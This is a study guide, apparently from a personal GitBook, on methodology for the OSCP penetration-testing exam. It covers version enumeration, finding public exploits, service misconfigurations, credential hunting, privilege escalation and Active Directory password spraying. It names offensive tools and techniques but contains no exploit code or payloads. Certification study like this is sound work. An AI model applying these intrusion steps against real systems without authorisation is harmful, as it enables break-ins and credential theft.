# Table of Contents

- [OSCP Methodology | Mike's OSCP Guide](#oscp-methodology-mike-s-oscp-guide)
- [Mike's OSCP Guide](#mike-s-oscp-guide)
- [OSCP Last Minute Tips | Mike's OSCP Guide](#oscp-last-minute-tips-mike-s-oscp-guide)
- [Unknown](#unknown)
- [Unknown](#unknown)
- [Unknown](#unknown)
- [Unknown](#unknown)
- [OSCP Methodology | Mike's OSCP Guide](#oscp-methodology-mike-s-oscp-guide)

---

# OSCP Methodology | Mike's OSCP Guide

For the complete documentation index, see [llms.txt](https://hackwithmike.gitbook.io/oscp/llms.txt)
. This page is also available as [Markdown](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology.md)
.

**Important Notice**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#important-notice)

-----------------------------------------------------------------------------------------------------------

⚠️ **I have migrated all my notes to the new website:** [**https://hackwithmike.com**](https://hackwithmike.com/)
**. All future updates will only be pushed on the new site** [**https://hackwithmike.com/oscp**](https://hackwithmike.com/oscp)
**/.**

Introduction[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#introduction)

-----------------------------------------------------------------------------------------------

* * *

The OSCP is an practical hacking exam with a strict 24-hour time constraint. Therefore, time management is the most important aspect of the exam. The ability to identify potentially vulnerable attack vectors within the time constraint is key —you can always research and learn the exploitation process on the fly.

Note that this guide expects you to have basic understanding on hacking and the OSCP exam itself.

To begin with, let's filter out what we **should not spend time on**. Here is what you will likely not expect in the OSCP exam:

*   **OSINT** (E.g., Google Dorking & DNS enumeration).
    
*   **Network Poisoning and Spoofing** (LLMNR / NBT-NS Attacks)
    
*   **Client-side Attacks** (E.g., Phishing, XSS, CSRF, etc - highly unlikely)
    
    *   Some practice boxes on PGs and HTBs do simulate client interactions.
        
    *   In the case that this is the intended path, there should also be hints (e.g., "An admin will review your comment")
        
    

With these constraints _(plus the fact that OSCP is an entry-to-intermediate level certification)_, we can expect a limited number of possible attack vectors, which can mostly be grouped into the following 3 categories:

1

**Vulnerable Versions** & Public Exploits

2

Secure Versions but **Misconfigurations**

3

Hunting **Sensitive Information**

Noted that the 3 categories can be mixed & matched in a full attack path. For example:

*   Vulnerable Apache Web Server _(Vulnerable Version)_ -> Path Traversal into reading SSH Private Key _(Misconfiguration & Sensitive Information)_.
    
*   Anonymous SMB Share _(Misconfiguration)_ -> Discovered user credentials _(Sensitive Information)_.
    
*   Username used as Password _(Misconfiguration)_ _\->_ Run an authenticated RCE exploit _(Vulnerable Version)_.
    

These three attack vectors apply not only to initial footholds but also to privilege escalation and Active Directory attacks. It is a cyclic process:

1

Enumerate the three vectors.

2

Escalate privileges (Could be lateral - another user account).

3

Re-enumerate the three vectors with new privileges.

4

Escalate to higher privileges.

5

Repeat until root / administrator.

As the old saying goes — OSCP is an **enumeration exam**. If you find yourself crafting complex exploits, or fixing kernel driver dependencies, you are likely 90% on the wrong path. Try to take a step back and redo your enumeration, such as look for another available public exploit, a previous missed open port, some hidden credentials, etc.

Vulnerable Versions[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#vulnerable-versions)

-------------------------------------------------------------------------------------------------------------

* * *

Vulnerable versions of services and applications are usually quick wins when there are **Proof-of-Concepts (PoCs)** and **Public Exploits** available out there.

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#key-strategies)

1

**Enumerating versions**

Use automated scanning tools like `nmap`, `netcat`, `wpscan`, etc., to perform banner grabbing or service scanning. Manually walk through each running services and look for service & version information.

2

**Look for public exploits**

Utilize `searchsploit`, GitHub repos, [Exploit-DB](https://www.exploit-db.com/)
, etc., for existing public exploits.

3

**Fixing and using exploits**

Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable. Also some public exploits require fixing and modifying before using.

If you find a vulnerable version with public exploit available, prioritizing trying out all the available exploits online. Don't spending too much time on making your own exploits or bypassing filters. OSCP is all about finding and using the right exploit, with a slight touch on "**fixing the exploit**" (which is usually just changing the target IPs, fixing typos, removing unnecessary spaces, etc.)

**Beware of Rabbit Holes**

It is always possible that the vulnerable versions have already been **patched**, and they are only here as rabbit holes. So if you find the public exploits not working despite all the conditions are met, take a step back and re-enumerate other possible attack paths.

### Enumerating Versions[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#enumerating-versions)

Web Pages

Services on Open Port

Internal Services (Priv Esc)

This is the most common attacker vector of outdated version attacks. It could be in the form of an outdated CMS, a web portal for vulnerable systems, a page running on outdated web servers, etc.

*   Wappalzyer Plugin ([Firefox](https://addons.mozilla.org/en-CA/firefox/addon/wappalyzer/)
    , or [Chrome](https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?pli=1)
     for Burp).
    
*   Check the HTML source codes.
    
    *   Look for URLs, folder names, developer comments, etc.
        
    
*   Check HTTP Response Headers.
    
    *   Look for headers like: `Server`, `X-Powered-By`, etc.
        
    
*   For CMS, use WPScan / Droopescan / JoomlaScan / etc.
    

As for other running services, we can either detect their versions automatically with existing scanning tools, or interacting with them manually.

*   Service Detection with Nmap. (With the `-sV` flag.)
    
*   Banner Grabbing with Netcat & Telnet.
    
*   Interact with the service directly (E.g., SMB, FTP, SSH, etc.)
    

If you have **CLI access** to the machine (E.g., Reverse Shell, SSH, etc.):

*   Run the service binary with `--help` ,`-h` , `--version` ,`-v` , etc.
    
*   Check if there is a installation file of the service.
    

If you have **GUI access** to the machine (E.g., RDP):

*   Open the application and manually look for the version in the `About` section.
    
*   Check if there is a installation file of the service.
    
*   Sometimes the version number is also in the installation path / folder.
    

If the service is running on an internally opened port, try to port-forward the service externally for Nmap Scanning.

### Finding Exploits[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#finding-exploits)

Exploit Databases

GitHub

Metasploit

Most of the time, you will be able to find the exploit PoC on these databases

*   [Searchsploit](https://www.exploit-db.com/searchsploit)
     on Kali command line.
    
*   [Exploit-DB](https://www.exploit-db.com/)
    , [Packet Storm](https://packetstorm.news/)
    ,
    
*   CVE databases (like [MITRE](https://cve.mitre.org/)
    ) are usually not too helpful as they do not provide PoCs.
    
    *   Although some may link to the blogs & articles that may contain PoCs.
        
    

If an exploit has a publicly available exploit, you can most likely find a PoC on GitHub written by some great security researchers. (It could be me or you someday!)

*   Google "_CVE-XXX-XXX GitHub PoC_" or "_<service name> <version> exploit_"
    
*   There are also some famous exploit repos like SecWiki's [Windows Kernel Exploits](https://github.com/SecWiki/windows-kernel-exploits)
    .
    
*   Always CHECK the codes before running exploits from GitHub - they could be malicious.
    

Personally I never find the need to use Metasploit in the exam, since there will always be alternative PoCs available if that particular exploit is the intended path.

*   Regardless, it can sometimes be the easier way to exploit a vulnerability. For example, using Metasploit is probably the easiest way to exploit EternalBlue (apart from AutoBlue)
    
*   Alternatively, you can always review the [Metasploit module source code](https://github.com/rapid7/metasploit-framework/tree/master/modules)
     to understand how they exploit a vulnerability and do it manually. This is of course not recommended to be performed during the actual exam.
    

### Using Exploits[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#using-exploits)

Fixing Exploits

Compiling Exploits

Matching Versions

While the exploits are publicly available, not all of them are ready-to-use without some **cleaning and fixing**.

*   The most common way of "fixing" an exploit is simply to change the source & target IP addresses, modify the exploit URI paths, provide the correct user credentials, etc.
    
*   Older Python exploits are written in Python2 and should be run with `python2.7` instead of `python3`.
    
*   Always remember to with add run permission with `chmod +x <script file>`.
    
*   Note that many exploits from Exploit-DB are not polished. On the another hand, GitHub usually have better quality PoCs.
    
    *   There can be all sorts of errors, such as incorrect indentations, extra spaces, incorrect spellings, etc. This would require you to have basic knowledge on the programming language to effective debug the exploits.
        
    

Some exploits require **manual compilation** using `gcc`, `mingw`, `make`, etc, but for OSCP level they should be relatively straightforward and shouldn't require a lot of fixing.

*   Look for pre-compiled exploits, and have them saved in your Kali machine for easy reuse.
    
*   I have a folder containing over 50 precompiled exploits, especially for very commonly used ones such as Potato exploits, EXE reverse shells, PEAS, etc.
    
*   I also have another folder storing web shell payloads in many different languages, such as php, aspx, Go, Java, WordPress, etc.
    

Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable.

*   E.g. The famous [Apache Path Traversal Vulnerability](https://www.hackthebox.com/blog/cve-2021-41773-explained)
     is only vulnerable on Apache 2.4.49 and 2.4.50, but not other versions.
    

Misconfigurations[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#misconfigurations)

---------------------------------------------------------------------------------------------------------

* * *

If there are no vulnerable versions, we can then look into **misconfigurations** in different services. The service itself may not be not vulnerable, but it can be set up incorrectly and unsafely.

The definition of misconfiguration here is pretty broad, since it basically covers **anything else that are NOT public exploits** that can be plugged and played. You can expect all the "hacking techniques" being categorized here.

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#key-strategies-1)

1

**Enumerate Services**

Understand what services are running, and their common attack vectors. For example, FTP Server -> Anonymous login? MySQL Service -> UDF code execution? Webpage with File Upload -> Uploading web shell? etc.

2

**Finding Misconfigurations**

This part requires mostly pattern recognition and experiences gained from grinding boxes and studying existing materials. Not many shortcuts here, but try to look for walkthroughs of boxes with similar services if you are stuck during the exam.

3

**Exploiting Misconfigurations**

The last step is much easier once you identified the vulnerable service. Some harder boxes may require you to chain multiple misconfigurations and other vulnerabilities, so make sure to take good notes for mapping the final attack path.

### Enumerating Services[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#enumerating-services)

Web

Databases

File Shares

Remote Access

Make sure to thoroughly enumerate the web server. Few points to note here:

*   **Directory Busting****:**
    
    *   Hidden admin panels / Sensitive pages.
        
    *   Config files / `.git` Directory.
        
    *   Open directory listing.
        
    
*   S**ubdomain Enumeration****:**
    
    *   Hidden admin panels / Sensitive pages.
        
    *   API Endpoints.
        
    
*   **Webpage & Source code Review****:**
    
    *   Look for potential usernames / emails / credentials on page contents.
        
    *   Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
        
    *   Understand all functionalities, such as user login, file upload, etc, so that you can focus or skip relevant attack vectors based on the existing functions.
        
    

Remember to perform directory busting on **all the endpoints**, including **different web ports and subdomains**.

*   Always use more than 2 directory busting tools and wordlists to avoid missing important endpoints.
    
*   Personally I run FeroxBuster with its default wordlist & DirSearch with "directory-list-2.3-medium.txt" separately on the same domain.
    

This mostly refers to SQL databases.

*   Identify the SQL server in use - Is it MSSQL? MySQL? SQLite? etc.
    
*   Check for **anonymous login** & **default / weak credentials**.
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
        
    
*   For file-based databases like SQLite, the data is stored as a separate `.db` file, and can be usually be accessed without credentials if you can get your hands on the file.
    

This includes all the file shares such as FTP, SMB and NFS.

*   Always check for **anonymous login** & **default / weak credentials** first.
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, databases, email servers, etc.
        
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   These services are usually not directly exploitable without **correct credentials**.
    
*   Regardless, there could still be some useful information.
    
    *   For example, the Nmap script on SSH (`ssh-hostkey`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
        
    *   If RSA is in use, perhaps we will be hunting for `id_rsa` private key somewhere. Similarly, the discovered SSH private key may be in `id_ecdsa` format if ECDSA is in use.
        
    

Mail Services

Other External Services

Internal Services (Priv Esc)

This refers to services such as POP, IMAP and SMTP.

*   Check for **default & weak credentials** like "`admin:admin`".
    
    *   If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
        
    
*   Even if un-authenticated, try to enumerate usernames from mail services.
    
*   It is also possible that they are designed for client-side attacks such as sending and received phishing emails.
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

*   SNMP on UDP port 161 is often missed during port scan.
    
    *   Always remember to run a separate **UDP scan** on Nmap. You can do it with the `-F` flag to only scan for the top 100 common ports if the scanning is taking too long.
        
    
*   DNS is usually not designed to be exploitable especially in simulated boxes. Only try when everything else did not work.
    
*   All other services will require deeper research on what services usually use those ports. If names of the services are identified, try to go through their documentations to understand how to interact with them.
    
    *   Also check if there are any boxes walkthroughs that contain the service / port.
        
    *   Amazing resources from IppSec & 0xdf. You can use keywords of a service to search for walkthroughs:
        
        *   [https://ippsec.rocks/](https://ippsec.rocks/?#)
            
        *   [https://0xdf.gitlab.io/tags](https://0xdf.gitlab.io/tags)
            
        
    

Enumerate services running internally via different methods such as:

*   Listing internal network connections (`netstat -anolp`).
    
    *   Look for open ports that are not exposed externally - maybe there is an MSSQL service running internally only?
        
    *   Identify what processes are running on the open ports.
        
    
*   List internal running processes.
    
*   Listing scheduled tasks.
    
*   Look for uncommon binaries / applications installed.
    

Active Directory

For AD environments in OSCP, 90% of the time it is about moving around different services and users by abusing **misconfigured user ACL** or using **discovered credentials**. To do so, we must map out all available services, as well as the relationships between the AD objects.

*   Bloodhound is the go-to tool for identifying misconfigured user & system ACL.
    
*   Always remember to conduct full port scan on internal targets that are previously unreachable. There can be a MSSQL service running on an uncommon port, and your controlled user may have admin access to the service.
    

### **Finding & Exploiting Misconfigurations**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#finding-and-exploiting-misconfigurations)

Web

Databases

File Shares

Remote Access

This refers to all the basic web hacking stuff, with heavy focus on either getting sensitive information (LFI, File Read, etc), or directly getting system access (Web shell, RCE, etc). Here is a list of common attack vectors:

*   **Authentication Attacks**: Default credentials / Anonymous Login / Weak Passwords
    
*   **Exposed Sensitive Files**: Open Directory Listing / `.git` / Hidden admin panels, etc.
    
*   **SQL injection**: Authentication Bypass / File Read & Write / RCE
    
*   **File Upload & Write**: Web shell RCE / Overwrite Login & Config Files / Client side attacks
    
*   **File Read**: Credential Files / Config Files / Process & Logs for sensitive information
    
*   **Path Traversal / File Inclusion**: File Read / RCE
    
*   **Mass Assignment**: Authentication Bypass
    
*   etc.
    

In the rare cases of client side attacks, here are also something you can be looking at:

*   **File Upload**: Malicious Files for Reverse Shell
    
*   **XSS**: Hijacking Session Token / Extracting Webpage Information
    
*   **CSRF**: Sending URL for one-click attack
    
*   etc.
    

This assumes that you have already gained initial access to the database services.

*   Upon successful login, go through all of the non-default tables and databases.
    
    *   Mainly looking for **credentials** (passwords & hashes).
        
    *   It may also be some weird stuff like emails about configurations, etc.
        
    *   List out all users of the database to look for new attack vectors.
        
    
*   All SQL injection attacks are naturally applicable once you can make SQL queries in the database.
    
    *   **MSSQL** -> File Read & Write / RCE / NLTM Theft / etc.
        
    *   **MySQL** -> File Read & Write / UDF for RCE / Dumping SQL User Creds / etc.
        
    *   Different attacks can be specific to certain database services.
        
    

This assumes that you have already gained initial access to the file shares.

*   Upon successful login, go through all directories and files.
    
    *   Mainly looking for **credentials** - It could be in configuration files, PDF files for onboarding employees, email backups, database files (`.db` file), Excel files, ZIP files, etc.
        
    *   Apart from credentials, it can also be **sensitive information** such as hidden endpoints, service versions, etc.
        
    *   Metadata may contain useful information such as usernames. (Check with `exiftool`)
        
    *   Sometimes the files (especially Excel & ZIP files) are **encrypted** and require us to perform brute-force attacks with tools like `zip2john` and `hashcat`.
        
    *   Always check for **Write Access**. It is possible that the file share directory is also hosted in the web server, and we can upload a web shell onto the server.
        
    

File shares are also privilege escalation vectors when there are misconfigurations or we have elevated permissions:

*   For NFS, if `no_root_squash` is set, we can escalate to root by uploading a SUID-bit set shell.
    
*   For SMB, admin access can lead to command execution with tools like `NetExec` and `Impacket` Suite. Username enumeration is also possible with brute-forcing RID.
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   As suggested, these services are usually not designed to be directly exploitable without correct credentials.
    
*   Regardless, always take notes on the services & their versions to check if there are public exploits.
    
*   Otherwise, this vector is mostly intended for weak authentication attacks, such as **default / weak credentials**, **password spraying** and **brute-forcing attacks**.
    

Mail Services

Other External Services

Internal Services (Priv Esc)

This refers to services such as POP, IMAP and SMTP.

*   Even if un-authenticated, try to **enumerate usernames** from mail services.
    
*   Upon successful login, go through all the email records.
    
    *   Mainly looking for **credentials** in emails, such as employee onboarding emails, service reminders, credential updates, etc.
        
    *   If **client-side attacks** are intended, there will be hints in the emails or other places such as the web pages.
        
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

*   For SNMP on UDP port 161, try to run `smnpwalk` with **default community strings** (`public`, `private`, `manager`, etc.)
    
    *   Look for sensitive information such as user emails, passwords, command history, etc.
        
    
*   As mentioned above, DNS is usually not designed to be exploitable in simulated boxes, and all other services will require deeper research on what services usually use those ports.
    

Internal services are usually used to either escalate to a higher privilege, or move laterally to another user that have different sets of privileges.

*   For services running internally, if you have difficult using the services internally, you can always **port-forward** the services to your Kali attacker machine.
    
    *   For example, I often port-forward internally running MSSQL services to my local Kali to use `impacket-mssqlclient` for easier enumeration and exploitation.
        
    *   SSH is mostly used for single port-forwarding, but there are also tools like `plink.exe`, `socat`, `chisel`, `ligolo-ng`, etc.
        
    
*   For scheduled tasks, locate the **source binary or script** that is running.
    
    *   [pspy](https://github.com/DominicBreuker/pspy)
         is the go-to tool to discover scheduled tasks.
        
    *   Scheduled tasks are 99% the intended attack vector in simulated boxes, especially when it is running as root, or another high privilege user.
        
    *   Upon locating the binary or script, try to replace or modify it for reverse shells, spawning root shell, etc. This is usually within a **longer attack chain**, where the scripts themselves are not directly editable, but can be modified by exploit another vulnerability.
        
    
*   For uncommon apps & binaries installed:
    
    *   They may either have **publicly available exploits** once you identified the service and version;
        
    *   Alternatively, they may be custom-made services that are intentionally designed to be vulnerable to different attacks, such as command injection, dumping hardcoded credentials with `strings`, etc.
        
    *   They may also be (mis)configured to be able to run with admin privileges.
        
    
*   For apps & binaries that can be run with **admin privileges** (e.g., SUID-bit set or `sudo` ):
    
    *   For Linux, [GTFOBins](https://gtfobins.github.io/)
         is the go-to repository to abuse binaries for privilege escalation.
        
    *   For Windows, it is usually less straightforward. Regardless, the end goal is always to escalate your current privileges by actions such as getting admin credentials, spawning reverse shells, creating a new admin user, etc.
        
    

System Misconfigurations

Active Directory

This refers to system-level misconfigurations that are not associated with any particular services.

*   Readable / Writable Sensitive Files.
    
    *   `/etc/passwd`, `/etc/shadow`, Extractable `SAM` & `SYSTEM` hives, SSH key files, Readable root / admin directories, etc.
        
    
*   Misconfigured / Elevated Privileges.
    
    *   Anything that can elevate privileges, for example:
        
        *   On Linux: `sudo -l` , Kernel Exploits, Privileged Group Memberships, etc.
            
        *   On Windows, `cmdkey /list` , `whoami /priv`, Kernel Exploits, Registry Exploits, Service Path Misconfigurations, etc.
            
        
    *   Note that there are numerous priv-esc techniques that cannot be fully listed here.
        
    

While most of the Windows privilege escalation techniques also apply to that when working on an AD environment, there are AD-specific misconfigurations that work on a domain level, for example:

*   **User ACL**: A user is allowed to change the password of another user, adding oneself to another group, etc.
    
*   **Disabled Kerberos Pre-auth**: Allowing AS-REP roasting attacks to extract password hashes of misconfigured users.
    
*   **SPN Configured**: Allowing Kerberoasting attacks to extract password hashes of misconfigured users.
    
*   etc.
    

Sensitive Information[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#sensitive-information)

-----------------------------------------------------------------------------------------------------------------

* * *

If none of the above vulnerabilities can be identified after thorough enumeration, it is likely that the weakness lies not on the services nor misconfigurations, but on **human errors** such as leaked credentials, exposed internal directories, or any type of disclosed **sensitive information**.

This particular attack vector is usually a by-product of enumerating the running services. Sensitive information can be revealed in all sorts of formats, such as error messages when poking around, hidden directories discovered with directory busting, credential files found in file shares, etc. The key here is to always take good notes on all discovery, and to always make sure you have not missed a single detail during enumeration. Remember, enumerate, enumerate, enumerate!

### Key strategies[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#key-strategies-2)

1

**Gathering Information**

Collect and record whatever you can during the enumeration process. Pay extra attention to things that related to authentication functions, user credentials (names, emails & passwords), error messages, hidden directories and files, and more.

2

**Using Information**

With the gathered information, we can now put the pieces together. Do we have credentials that we can brute-force or spray? Do the hidden directories and files contain credentials or configurations? The possibilities are endless and would require case-by-case analysis.

### Gathering Information[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#gathering-information)

Web

Databases

File Shares

Remote Access

Make sure to thoroughly enumerate the web server. This will look a lot similar to the previous sections:

*   **Directory Busting****:**
    
    *   Hidden admin panels / Sensitive pages (e.g., `phpinfo`).
        
    *   Config files (e.g., `.htaccess`) / `.git` Directory.
        
        *   `.git` is a gold mine for information. You can get your hands on the application's source code to identify potential attack vectors (e.g., SQL injections), or there can be hardcoded credentials and session tokens within the source codes.
            
        
    *   Open directory listing.
        
    
*   S**ubdomain Enumeration****:**
    
    *   Sometimes the good stuffs are hidden behind another Vhost. Always run subdomain enumeration and directory busting on the newly discovered subdomains.
        
    
*   **Webpage & Source code Review****:**
    
    *   Look for potential usernames / emails / credentials on page contents.
        
        *   The `About Us` & `Contacts` sections usually contain emails & domain name information.
            
        *   For blog-like applications, the blog articles often come with author names and comments with commenter names.
            
        *   Some may also put down passwords under the blog posts or comments.
            
        
    *   Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
        
    

Upon successful login, go through all of the non-default tables and databases.

*   Mainly looking for **credentials** (password & hashes).
    
    *   Many CMS stores user passwords and hashes under tables such as `users`, `login`, etc.
        
    
*   List out all users of the database for new usernames.
    
*   Some SQL services, such as MySQL, also store password hashes of the users. Remember to dump those out for cracking.
    

Upon successful login, go through all directories and files.

*   Mainly looking for **credentials** - It could be in configuration files, PDF files for onboarding employees, email backups, database files (`.db` file), Excel files, ZIP files, etc.
    
*   Apart from credentials, it can also be **sensitive information** such as hidden endpoints, service versions, etc.
    
*   Metadata may contain useful information such as usernames. (Check with `exiftool`)
    
*   Sometimes the files (especially Excel & ZIP files) are **encrypted** and require us to perform brute-force attacks with tools like `zip2john` and `hashcat`.
    

This refers to services like Telnet, SSH, RDP, WinRM, etc.

*   These services are usually not directly exploitable without **correct credentials**.
    
*   Regardless, there could still be some useful information.
    
    *   For example, the Nmap script on SSH (`ssh-hostkey`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
        
    *   If RSA is in use, perhaps we will be hunting for `id_rsa` private key somewhere. Similarly, the discovered SSH private key may be in `id_ecdsa` format if ECDSA is in use.
        
    

Mail Services

Other External Services

Internal Enumeration

Emails are often designed to be a realistic scenario of where sensitive information lies:

*   Upon successful login, go through all the emails to check if they have mentioned anything about credentials, development site, configurations, etc.
    
*   Even if un-authenticated, try to enumerate usernames from mail services such as POP3 and SMTP (See the [example](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)
     here at HackTricks). The identified usernames can then be passed to other services for brute-forcing / password spraying attacks.
    

This includes all other uncategorized services such as DNS, SNMP, or all other non-common services, but I would like to put heavy focus on SNMP here.

*   For SNMP on UDP port 161, try to run `smnpwalk` with **default community strings** (`public`, `private`, `manager`, etc.)
    
*   I have seen the following sensitive information exposed in SNMP:
    
    *   Command histories containing passwords
        
        *   User Emails
            
        *   Usernames
            
        *   Processes running
            
        *   etc.
            
        
    

In case of hunting for sensitive information internally, here are some general directions you can look into:

*   Go through ALL **configuration files** of the running services. 90% of the time there are hard-coded credentials that can be sprayed again to escalate privileges.
    
*   Look for SSH key files. They can be in a user's home directory (`/.ssh/`), or they can be lying on some file share, some notes, etc.
    
*   Go for **command histories**. They may have records of previous commands that contain user credentials.
    
*   In a realistic scenario, a user may leave their credentials in a text file lying on the Desktop, or in a note app, in an excel file, etc.
    
*   System administrators also often store credentials in the **environmental variables** for easier access.
    
*   Look for Password Manager Database files, e.g., `.kdbx` for KeePass.
    
*   For Windows, credentials may be stored within **registry** entries, unattended installation files, etc. There may even be system backups of the SAM and SYSTEM hive that allow you to dump all credentials of the Windows machine.
    

Active Directory

For AD environments, we can enumerate sensitive information in many ways, for example:

*   Extract valid usernames via **anonymous LDAP dumping**, **SMB RID cycling** and running Kerberos pre-auth brute-forcing (with [Kerbrute](https://github.com/ropnop/kerbrute)
    ).
    
*   Go through all the readable file shares and databases.
    
*   Dump domain-level credentials with local administrator privileges.
    
    *   Once you escalated your privilege on a domain machine as the local administrator, you will mostly discover new credentials of other domain users, either via dumping them with tools like `mimikatz` & `impacket-secretsdump`, or finding them in registry, config files, or any other locations that are previously inaccessible.
        
    

### Using Information[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#using-information)

Brute-forcing

Password Spraying

Other Usages

Suppose you only found potential usernames. We can always run a quick brute-force login attack to check if this is the intended path.

*   Always start out with **default & common credentials**. It also doesn't hurt to try username, service name, or box name as passwords
    
*   As for the password wordlist, `rockyou.txt` will do the job within 10-20 minutes if brute-forcing is the intended attack path.
    

Note that you can also brute-force for usernames if you have a valid password, or if the service itself is vulnerable to username enumeration.

*   For example, some mail services like POP3 and SMTP may be misconfigured to allow username enumeration (See the [example](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)
     here at HackTricks)
    
*   Some web applications may also be vulnerable to username enumeration due to improper error messages (e.g., `Username does not exist!`)
    
*   As mentioned above, we can also brute-force domain usernames from Kerberos running on Port 88 with [Kerbrute](https://github.com/ropnop/kerbrute)
    .
    
*   I usually use `/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt` from [SecLists](https://github.com/danielmiessler/SecLists)
    . You can run `sudo apt install seclists` to install SecLists on Kali.
    

Suppose you have a few different potential usernames and passwords, the best approach is to **spray all passwords** to all identified usernames **in all combinations**.

*   For example, if you have found the following user list: `peter, john, mary`, with the following passwords, `P@ss123!, Letme1n#`, then you will have 6 possible combinations in total. However, you should also include **default usernames** such as administrator in to the user list, making it 8 possible combinations in total.
    
    *   Just put all the usernames in a `user.txt`, and the passwords in a `pass.txt`, and supply the files as arguments when running tools like `Hydra` and `NetExec`.
        
    
*   Always remember to spray them on **ALL services**, such as webpages, SQL, SMB, FTP, SSH, and anything with a login function.
    

This is a general section on all other information that can be classified as sensitive, but are not credentials, such as hidden directories, config files, etc.

*   Generally, these types of information provide you with hints to continue on the attack path, where you may either discover misconfigurations or version info that can be exploited, or actual credentials hidden in a deeper layer of the attack path.
    
*   All you have to do is to follow the lead and rerun the enumeration cycle on the three attack vectors, until you discover information that can help escalate your current privileges.
    

Active Directory

Here are some specific tips for brute-forcing & password spraying in Active Directory:

*   [NetExec](https://www.netexec.wiki/)
     has all the functionality you need for spraying passwords on different services.
    
    *   I always run NetExec with the possible credential combinations on ALL available services: `SMB, LDAP, MSSQL, WinRM, WMI, RDP, SSH, FTP`, etc.
        
    *   When the `-d` flag (domain) is not specified, NetExec will by default authenticate the user with the domain provided by the target machine.
        
    *   Remember to add `--local-auth` at the end of the command for a second round of spraying. While the credential pairs may not be valid in the domain, it is always possible that it is a local account (I have success with this in actual engagements).
        
    
*   Always check the **password policies** to see if there is account lockout. If that is the case, it means that brute-forcing AD authentication is likely not the intended path.
    
    *   You can do that with `nxc smb <ip> -u <user> -p <pass> --pass-pol`.
        
    

Conclusion[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology#conclusion)

-------------------------------------------------------------------------------------------

* * *

If you read till the end, I sincerely thank you for having the patience to go through my two cents on how to approach the OSCP exam. This is definitely not an exhaustive list, and it may also come across as a bit too exam-oriented. While I understand that real-life hacking involves way more techniques and depths, I truly hope this guide can be a good start to build one's methodology from scratch.

Hopefully what I have learnt along the way had provide some value to your journey, and I am always open to constructive feedbacks for improvements.

[PreviousMike's OSCP Guide](https://hackwithmike.gitbook.io/oscp)
[NextOSCP Last Minute Tips](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips)

Last updated 7 months ago

---

# Mike's OSCP Guide

![Page cover](https://hackwithmike.gitbook.io/oscp/~gitbook/image?url=https%3A%2F%2Fstatic-2c.gitbook.com%2F_next%2Fstatic%2Fmedia%2Fdefault-page-cover.a2ccd7e9.svg&width=1248&dpr=3&quality=100&sign=a49c6085&sv=2)![Page cover](https://hackwithmike.gitbook.io/oscp/~gitbook/image?url=https%3A%2F%2F2332430602-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhHz44cAHiI6wlOqwGwj6%252Fuploads%252Fuy65YmFkPek3Xhwd0fxj%252FPEN-200-desktop.png%3Falt%3Dmedia%26token%3Ddeed6eaf-bc1b-4fe5-8bd8-534b53d17a6c&width=1248&dpr=3&quality=100&sign=5f36147b&sv=2)

For the complete documentation index, see [llms.txt](https://hackwithmike.gitbook.io/oscp/llms.txt)
. This page is also available as [Markdown](https://hackwithmike.gitbook.io/oscp/welcome.md)
.

**Important Notice**[](https://hackwithmike.gitbook.io/oscp#important-notice)

------------------------------------------------------------------------------

⚠️ **I have migrated all my notes to the new website:** [**https://hackwithmike.com**](https://hackwithmike.com/)
**. All future updates will only be pushed on the new site** [**https://hackwithmike.com/oscp**](https://hackwithmike.com/oscp)
**/.**

### Introduction[](https://hackwithmike.gitbook.io/oscp#introduction)

I passed the OSCP exam twice - OSCP with 110/110 points in October 2024, and OSCP+ with 80/100 points in November 2024. I believe learners would benefit with some practical tips alongside OffSec's official PEN200 training, and I hope to share my notes to help everyone that is on the same path as I was on.

I strive to give full credits to the original authors, as well as explaining the concepts in my own words. Please do not hesitate to reach out to me if you find anything inaccurate, inappropriate or without proper credit.

The project is still in development, and you can expect more refined content over time.

### OSCP Tips & Tricks[](https://hackwithmike.gitbook.io/oscp#oscp-tips-and-tricks)

You may start from here :

[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology)

